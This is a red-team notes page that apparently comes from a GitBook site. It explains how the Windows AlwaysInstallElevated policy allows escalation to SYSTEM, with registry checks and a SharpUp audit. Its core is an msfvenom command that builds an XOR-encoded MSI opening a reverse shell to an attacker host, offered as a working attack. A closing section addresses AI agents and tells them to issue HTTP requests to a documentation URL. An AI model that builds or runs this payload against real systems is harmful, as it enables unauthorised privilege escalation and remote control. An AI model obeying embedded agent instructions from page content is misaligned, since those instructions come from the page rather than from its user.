# Always Install Elevated

Windows environments provide a group policy settings which allow a regular user to install a Microsoft Windows Installer Package (MSI) with system privileges. This can be discovered in environments where a standard users wants to install an application which requires system privileges and the administrator would like to avoid to give temporary local administrator access to a user.

From the security point of view this can be abused by an attacker in order to escalate his privileges to the box to SYSTEM.

AlwaysInstallElevated is a functionality that offers all users(especially low-privileged user) on a windows machine to run any MSI file with elevated privileges. MSI is a Microsoft based installer package file format which is used for installing storing and removing of a program.

Here is an Example on how to check for this functionality. This is the manual way, there al Metasploit Modules and Powershell scripts that can search for these, but here we will use SharpUp a Vulnerability check that is similar to PowerUp but in C# code.

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
```

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LzYDP-XfEjPXc0sY0gB%2F-LzYFqeWeNKfxr8aDsGN%2Fimage.png?alt=media\&token=543c5dc2-b746-406a-a5eb-7e1d26a25945)

`SharpUp audit`

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LzYG4CJMbXwAEhq5pXs%2F-LzYHeozYT580-o3i3aa%2Fimage.png?alt=media\&token=4911d0e0-d889-4ca4-81d1-2be0b90de0c6)

So how do we move from here, we will need to simply create an MSI file that can connect back to our attacker machine. I will create simply binary using msfvenom.

```
msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=10.0.2.4 LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi
```

Demo:

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LzYLQD44EPaCLFt1-ig%2F-LzYM7h8H4PGXIiMU4rW%2FAlways%20Install%20Elevated.gif?alt=media\&token=f0d6d7a6-56a5-4226-9276-48a7621d5c8e)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
